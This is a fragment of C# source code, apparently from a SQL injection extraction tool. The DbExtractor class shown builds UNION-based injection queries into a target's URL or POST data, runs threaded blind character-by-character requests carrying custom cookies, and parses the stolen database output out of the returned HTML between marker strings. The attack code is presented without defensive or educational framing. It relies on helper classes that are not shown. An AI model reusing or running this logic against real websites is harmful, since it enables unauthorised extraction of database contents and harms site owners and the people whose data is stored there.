public DbExtractor()
        {
            //Properties
             _encodeCharacter = false;
             _encodeWhiteSpace = false;
             _minColumns = 1;
             _maxColumns = 20;
             _extractingInfos = new ExtractorInfos();

             // Private
             _injectionPatterns = new InjectPatterns();
             _internalData = new InternalData();
             _queryConstructor = new QueryConstructor.QueryConstructor();
             _injectInfos = new InjectionInfos();
             _requestList = new List<Request>();
             _lastQueryOutput = string.Empty;
             _reqManager = new RequestManager();
             _reqManager.RequestFinished += ReqManagerRequestFinished;
             _requestsComplete = new ManualResetEvent(false);
             _injector = new InjectingClass();
             _userStop = false;
        }
        private string BuildRequests(string function, DataBaseType db)
        {
            if (_internalData.UseConditions)
             {
            _extractingInfos.Status.Add("Start asynchron requests");
            _requestList.Clear();
            _lastQueryOutput = string.Empty;

            _reqManager = new RequestManager
                             {
                                CustomCookieCollection = _injectInfos.CustomCookieCollection
                             };
            _reqManager.RequestFinished += ReqManagerRequestFinished;
            _reqManager.StartThreads(4);
            BuildRequestsCharacter(function, db, 1);

            _requestsComplete = new ManualResetEvent(false);
            var wh = new WaitHandle[] { _requestsComplete };
            WaitHandle.WaitAny(wh, -1, false);
            _extractingInfos.Status.Add("Asynchron requests complete");
            return _lastQueryOutput;
             }

             _requestConstructor.InsertQuery(_injector.InjectUnionQuery(function));
             string html = SendWebrequest(_requestConstructor.GetURL(), _requestConstructor.GetPOST());
             int indexBegin = html.IndexOf("___ll");
             if (indexBegin == -1)
            return string.Empty;
             html = html.Remove(0, indexBegin + 5);

             int indexEnd = html.IndexOf("ll___");
             if (indexEnd == -1)
            return string.Empty;
             html = html.Remove(indexEnd);

             return html;
        }